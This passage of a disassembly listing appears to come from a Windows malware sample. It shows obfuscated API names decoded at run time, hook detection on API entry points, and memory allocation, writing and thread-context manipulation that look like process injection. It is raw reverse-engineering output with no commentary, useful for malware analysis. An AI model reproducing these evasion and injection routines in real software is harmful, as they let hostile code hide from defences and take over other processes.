eax loc_401B4A: ; CODE XREF: sub_401A30+F3j cmp [ebp+var_2E4], 0 jnz short loc_401BA3 mov ecx, [ebp+arg_4] push ecx call sub_401800 add esp, 4 test eax, eax jz short loc_401BA3 push 40h push 3000h mov edx, [ebp+arg_10] push edx push 0 mov eax, [ebp+var_2DC] push eax call dword_4052E0 mov [ebp+var_2E4], eax cmp [ebp+var_2E4], 0 jz short loc_401BA3 mov ecx, [ebp+var_2E4] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_4] push eax call sub_401840 add esp, 0Ch loc_401BA3: ; CODE XREF: sub_401A30+C9j ; sub_401A30+D5j ... cmp [ebp+var_2E4], 0 jz loc_401CA1 lea ecx, [ebp+var_2E8] push ecx push 4 lea edx, [ebp+var_2E4] push edx mov eax, [ebp+var_230] add eax, 8 push eax mov ecx, [ebp+var_2DC] push ecx call dword_4052E4 mov edx, [ebp+arg_4] mov eax, [ebp+var_2E4] mov [edx+34h], eax lea ecx, [ebp+var_2E8] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+var_2E4] push ecx mov edx, [ebp+var_2DC] push edx call dword_4052E4 test eax, eax jz short loc_401C6F mov [ebp+var_2D4], 10007h mov eax, [ebp+var_2E4] cmp eax, [ebp+var_2E0] jnz short loc_401C36 mov ecx, [ebp+arg_4] mov edx, [ecx+34h] mov eax, [ebp+arg_4] add edx, [eax+28h] mov [ebp+var_224], edx jmp short loc_401C48 ; --------------------------------------------------------------------------- loc_401C36: ; CODE XREF: sub_401A30+1F0j mov ecx, [ebp+arg_4] mov edx, [ebp+var_2E4] add edx, [ecx+28h] mov [ebp+var_224], edx loc_401C48: ; CODE XREF: sub_401A30+204j lea eax, [ebp+var_2D4] push eax mov ecx, [ebp+var_8] push ecx call dword_4052D8 mov edx, [ebp+var_8] push edx call dword_4052D0 mov eax, [ebp+var_8] push eax call dword_405290 jmp short loc_401C9F ; --------------------------------------------------------------------------- loc_401C6F: ; CODE XREF: sub_401A30+1D8j push 0 mov ecx, [ebp+var_2DC] push ecx call dword_4052F4 mov edx, [ebp+var_8] push edx call dword_405290 mov eax, [ebp+var_2DC] push eax call dword_405290 mov [ebp+var_2DC], 0FFFFFFFFh loc_401C9F: ; CODE XREF: sub_401A30+23Dj jmp short loc_401CD1 ; --------------------------------------------------------------------------- loc_401CA1: ; CODE XREF: sub_401A30+17Aj push 0 mov ecx, [ebp+var_2DC] push ecx call dword_4052F4 mov edx, [ebp+var_8] push edx call dword_405290 mov eax, [ebp+var_2DC] push eax call dword_405290 mov [ebp+var_2DC], 0FFFFFFFFh loc_401CD1: ; CODE XREF: sub_401A30+76j ; sub_401A30:loc_401C9Fj mov ecx, [ebp+hMem] push ecx ; hMem call sub_401040 add esp, 4 mov eax, [ebp+var_2DC] loc_401CE6: ; CODE XREF: sub_401A30+3Fj mov esp, ebp pop ebp retn sub_401A30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401CF0(int, int, LPCSTR lpString2, int) sub_401CF0 proc near ; CODE XREF: start+102p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch lpString2 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 14h mov [ebp+var_10], 0FFFFFFFFh lea eax, [ebp+var_4] push eax lea ecx, [ebp+var_C] push ecx lea edx, [ebp+var_8] push edx lea eax, [ebp+var_14] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_401490 add esp, 18h test eax, eax jz short loc_401D57 mov eax, [ebp+arg_C] push eax ; int mov ecx, [ebp+var_4] push ecx ; int mov edx, [ebp+var_C] push edx ; int mov eax, [ebp+var_8] push eax ; int mov ecx, [ebp+var_14] push ecx ; int mov edx, [ebp+lpString2] push edx ; lpString2 call sub_401A30 add esp, 18h mov [ebp+var_10], eax push 4000h mov eax, [ebp+var_4] push eax mov ecx, [ebp+var_C] push ecx call dword_4052B8 loc_401D57: ; CODE XREF: sub_401CF0+2Fj mov eax, [ebp+var_10] mov esp, ebp pop ebp retn sub_401CF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D60 proc near ; CODE XREF: start+2Fp hLibModule = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push offset ModuleName ; "Ήι8―" call ds:GetModuleHandleA ; GetModuleHandleA mov [ebp+var_8], eax push offset asc_405018 ; "Ό" call ds:LoadLibraryA ; LoadLibraryA mov [ebp+hLibModule], eax push offset asc_4051E8 ; "Ά" call ds:LoadLibraryA ; LoadLibraryA mov [ebp+var_4], eax push offset ProcName ; "" mov eax, [ebp+hLibModule] push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052FC, eax push offset aB ; "" mov ecx, [ebp+hLibModule] push ecx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052E0, eax push offset aR ; "" mov edx, [ebp+hLibModule] push edx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052C0, eax push offset aNN ; "κ\t" mov eax, [ebp+var_8] push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_405294, eax push offset aSq9j8 ; "ο9¦8" mov ecx, [ebp+hLibModule] push ecx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_405298, eax push offset aFq9v ; "ο9’" mov edx, [ebp+hLibModule] push edx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052A8, eax push offset aR_0 ; "" mov eax, [ebp+hLibModule] push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_40528C, eax push offset aE ; " " mov ecx, [ebp+hLibModule] push ecx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052AC, eax push offset aB_0 ; "" mov edx, [ebp+hLibModule] push edx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052B4, eax push offset aB_1 ; "" mov eax, [ebp+hLibModule] push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052BC, eax push offset aAq5 ; "ο5·" mov ecx, [ebp+hLibModule] push ecx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052E4, eax push offset aD ; "" mov edx, [ebp+hLibModule] push edx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052D8, eax push offset aE_0 ; " " mov eax, [ebp+hLibModule] push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052D0, eax push offset aF ; "" mov ecx, [ebp+hLibModule] push ecx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_405290, eax push offset aG ; "" mov edx, [ebp+hLibModule] push edx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052F4, eax push offset aB_2 ; "" mov eax, [ebp+hLibModule] push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052B8, eax push offset aR_1 ; "" mov ecx, [ebp+hLibModule] push ecx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052F0, eax push offset aD_0 ; "" mov edx, [ebp+hLibModule] push edx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052C8, eax push offset aD_1 ; "" mov eax, [ebp+hLibModule] push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052A0, eax push offset aEs0aNNuqM ; " ι0\x1B{N=γqΞΓΩ\bΦ" mov ecx, [ebp+var_8] push ecx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052D4, eax push offset aEs0z ; " ι0" mov edx, [ebp+var_8] push edx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_405288, eax push offset aEs0d ; " ι0" mov eax, [ebp+var_8] push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_40529C, eax push offset aFq9v_0 ; "ο9’" mov ecx, [ebp+hLibModule] push ecx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052C4, eax push offset aE_1 ; " " mov edx, [ebp+hLibModule] push edx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052B0, eax push offset aD_2 ; "" mov eax, [ebp+hLibModule] push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052F8, eax push offset aR_2 ; "" mov ecx, [ebp+hLibModule] push ecx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052CC, eax push offset aR_3 ; "" mov edx, [ebp+var_4] push edx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052E8, eax push offset aE_2 ; " " mov eax, [ebp+var_4] push eax ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052DC, eax push offset aE_3 ; " " mov ecx, [ebp+var_4] push ecx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052A4, eax push offset aE_4 ; " " mov edx, [ebp+var_4] push edx ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4052EC, eax cmp dword_4052FC, 0 jz loc_402132 cmp dword_4052E0, 0 jz loc_402132 cmp dword_4052C0, 0 jz loc_402132 cmp dword_405294, 0 jz loc_402132 cmp dword_405298, 0 jz loc_402132 cmp dword_4052A8, 0 jz loc_402132 cmp dword_40528C, 0 jz loc_402132 cmp dword_4052AC, 0 jz loc_402132 cmp dword_4052B4, 0 jz loc_402132 cmp dword_4052BC, 0 jz loc_402132 cmp dword_4052E4, 0 jz loc_402132 cmp dword_4052D8, 0 jz loc_402132 cmp dword_4052D0, 0 jz loc_402132 cmp dword_405290, 0 jz loc_402132 cmp dword_4052F4, 0 jz loc_402132 cmp dword_4052B8, 0 jz short loc_402132 cmp dword_4052F0, 0 jz short loc_402132 cmp dword_4052C8, 0 jz short loc_402132 cmp dword_4052A0, 0 jz short loc_402132 cmp dword_4052D4, 0 jz short loc_402132 cmp dword_405288, 0 jz short loc_402132 cmp dword_40529C, 0 jz short loc_402132 cmp dword_4052C4, 0 jz short loc_402132 cmp dword_4052B0, 0 jz short loc_402132 cmp dword_4052F8, 0 jz short loc_402132 cmp dword_4052CC, 0 jz short loc_402132 cmp dword_4052E8, 0 jz short loc_402132 cmp dword_4052DC, 0 jz short loc_402132 cmp dword_4052A4, 0 jz short loc_402132 cmp dword_4052EC, 0 jnz short loc_402140 loc_402132: ; CODE XREF: sub_401D60+28Fj ; sub_401D60+29Cj ... mov eax, [ebp+hLibModule] push eax ; hLibModule call ds:FreeLibrary ; FreeLibrary xor al, al jmp short loc_402142 ; --------------------------------------------------------------------------- loc_402140: ; CODE XREF: sub_401D60+3D0j mov al, 1 loc_402142: ; CODE XREF: sub_401D60+3DEj mov esp, ebp pop ebp retn sub_401D60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402150 proc near ; CODE XREF: start+2Ap push ebp mov ebp, esp push esi push edi push 9 push offset ModuleName ; "Ήι8―" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset ModuleName ; "Ήι8―" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Ch push offset asc_405018 ; "Ό" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset asc_405018 ; "Ό" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Ch push offset asc_4051E8 ; "Ά" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset asc_4051E8 ; "Ά" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Ch push offset ProcName ; "" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset ProcName ; "" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Eh push offset aB ; "" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aB ; "" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 12h push offset aR ; "" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aR ; "" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 14h push offset aNN ; "κ\t" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aNN ; "κ\t" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Bh push offset aSq9j8 ; "ο9¦8" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aSq9j8 ; "ο9¦8" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Eh push offset aFq9v ; "ο9’" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aFq9v ; "ο9’" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 10h push offset aR_0 ; "" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aR_0 ; "" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 11h push offset aE ; " " push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aE ; " " or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Eh push offset aB_0 ; "" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aB_0 ; "" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 10h push offset aB_1 ; "" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aB_1 ; "" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 12h push offset aAq5 ; "ο5·" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aAq5 ; "ο5·" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 10h push offset aD ; "" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aD ; "" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Ch push offset aE_0 ; " " push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aE_0 ; " " or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Bh push offset aF ; "" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aF ; "" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 10h push offset aG ; "" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aG ; "" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Bh push offset aB_2 ; "" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aB_2 ; "" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Ch push offset aD_0 ; "" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aD_0 ; "" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Ch push offset aR_1 ; "" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aR_1 ; "" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 5 push offset aD_1 ; "" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aD_1 ; "" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 11h push offset aEs0aNNuqM ; " ι0\x1B{N=γqΞΓΩ\bΦ" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aEs0aNNuqM ; " ι0\x1B{N=γqΞΓΩ\bΦ" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 13h push offset aEs0z ; " ι0" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aEs0z ; " ι0" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 1Eh push offset aEs0d ; " ι0" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aEs0d ; " ι0" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Bh push offset aFq9v_0 ; "ο9’" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aFq9v_0 ; "ο9’" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 8 push offset aE_1 ; " " push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aE_1 ; " " or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Dh push offset aR_2 ; "" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aR_2 ; "" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Eh push offset aD_2 ; "" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aD_2 ; "" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Ch push offset aR_3 ; "" push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aR_3 ; "" or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Bh push offset aE_2 ; " " push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aE_2 ; " " or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 10h push offset aE_3 ; " " push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aE_3 ; " " or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 0Bh push offset aE_4 ; " " push offset aFor0toud ; "for0toud" call sub_401050 add esp, 0Ch mov edi, eax mov edx, offset aE_4 ; " " or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi pop ebp retn sub_402150 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4028A0 proc near ; CODE XREF: sub_402E00+EAp ; sub_402E00+10Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_4028B5 mov eax, [ebp+arg_0] jmp short loc_402909 ; --------------------------------------------------------------------------- loc_4028B5: ; CODE XREF: sub_4028A0+Ej ; sub_4028A0+65j mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] test eax, eax jz short loc_402907 mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] mov [ebp+var_4], edx loc_4028CB: ; CODE XREF: sub_4028A0+5Aj mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_4028DA mov eax, [ebp+arg_0] jmp short loc_402909 ; --------------------------------------------------------------------------- loc_4028DA: ; CODE XREF: sub_4028A0+33j mov edx, [ebp+var_8] movsx eax, byte ptr [edx] mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx cmp eax, edx jz short loc_4028CB mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp short loc_4028B5 ; --------------------------------------------------------------------------- loc_402907: ; CODE XREF: sub_4028A0+1Dj xor eax, eax loc_402909: ; CODE XREF: sub_4028A0+13j ; sub_4028A0+38j mov esp, ebp pop ebp retn sub_4028A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402910 proc near ; CODE XREF: sub_401490+15Fp ; sub_401490+238p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov edx, [ebp+var_8] cmp edx, [ebp+var_4] jnb short loc_40296D mov eax, [ebp+var_8] add eax, [ebp+arg_8] mov [ebp+var_8], eax mov ecx, [ebp+var_4] add ecx, [ebp+arg_8] mov [ebp+var_4], ecx jmp short loc_402947 ; --------------------------------------------------------------------------- loc_40293E: ; CODE XREF: sub_402910+59j mov edx, [ebp+arg_8] sub edx, 1 mov [ebp+arg_8], edx loc_402947: ; CODE XREF: sub_402910+2Cj cmp [ebp+arg_8], 0 jz short loc_40296B mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov cl, [eax] mov [edx], cl jmp short loc_40293E ; --------------------------------------------------------------------------- loc_40296B: ; CODE XREF: sub_402910+3Bj jmp short loc_4029A4 ; --------------------------------------------------------------------------- loc_40296D: ; CODE XREF: sub_402910+18j mov edx, [ebp+var_8] cmp edx, [ebp+var_4] jz short loc_4029A4 jmp short loc_402980 ; --------------------------------------------------------------------------- loc_402977: ; CODE XREF: sub_402910+92j mov eax, [ebp+arg_8] sub eax, 1 mov [ebp+arg_8], eax loc_402980: ; CODE XREF: sub_402910+65j cmp [ebp+arg_8], 0 jz short loc_4029A4 mov ecx, [ebp+var_4] mov edx, [ebp+var_8] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx jmp short loc_402977 ; --------------------------------------------------------------------------- loc_4029A4: ; CODE XREF: sub_402910:loc_40296Bj ; sub_402910+63j ... mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_402910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4029B0 proc near ; CODE XREF: start:loc_40307Fp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, dword_4052E0 mov [ebp+var_4], eax mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0FFFFFFE8h jz short loc_4029D2 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 0FFFFFFE9h jnz short loc_4029DC loc_4029D2: ; CODE XREF: sub_4029B0+15j mov eax, 1 jmp loc_402C0C ; --------------------------------------------------------------------------- loc_4029DC: ; CODE XREF: sub_4029B0+20j mov edx, dword_4052C0 mov [ebp+var_4], edx mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 0FFFFFFE8h jz short loc_4029FB mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0FFFFFFE9h jnz short loc_402A05 loc_4029FB: ; CODE XREF: sub_4029B0+3Ej mov eax, 1 jmp loc_402C0C ; --------------------------------------------------------------------------- loc_402A05: ; CODE XREF: sub_4029B0+49j mov ecx, dword_405294 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0FFFFFFE8h jz short loc_402A24 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0FFFFFFE9h jnz short loc_402A2E loc_402A24: ; CODE XREF: sub_4029B0+67j mov eax, 1 jmp loc_402C0C ; --------------------------------------------------------------------------- loc_402A2E: ; CODE XREF: sub_4029B0+72j mov eax, dword_405298 mov [ebp+var_4], eax mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0FFFFFFE8h jz short loc_402A4C mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 0FFFFFFE9h jnz short loc_402A56 loc_402A4C: ; CODE XREF: sub_4029B0+8Fj mov eax, 1 jmp loc_402C0C ; --------------------------------------------------------------------------- loc_402A56: ; CODE XREF: sub_4029B0+9Aj mov edx, dword_4052A8 mov [ebp+var_4], edx mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 0FFFFFFE8h jz short loc_402A75 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0FFFFFFE9h jnz short loc_402A7F loc_402A75: ; CODE XREF: sub_4029B0+B8j mov eax, 1 jmp loc_402C0C ; --------------------------------------------------------------------------- loc_402A7F: ; CODE XREF: sub_4029B0+C3j mov ecx, dword_40528C mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 0FFFFFFE8h jz short loc_402A9E mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0FFFFFFE9h jnz short loc_402AA8 loc_402A9E: ; CODE XREF: sub_4029B0+E1j mov eax, 1 jmp loc_402C0C ; --------------------------------------------------------------------------- loc_402AA8: ; CODE XREF: sub_4029B0+ECj mov eax, dword_4052AC mov [ebp+var_4], eax mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 0FFFFFFE8h jz short loc_402AC6 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 0FFFFFFE9h jnz short loc_402AD0 loc_402AC6: ; CODE XREF: sub_4029B0+109j mov eax, 1 jmp loc_402C0C ; --------------------------------------------------------------------------- loc_402AD0: ; CODE XREF: sub_4029B0+114j mov edx, dword_4052B4 mov [ebp+var_4], 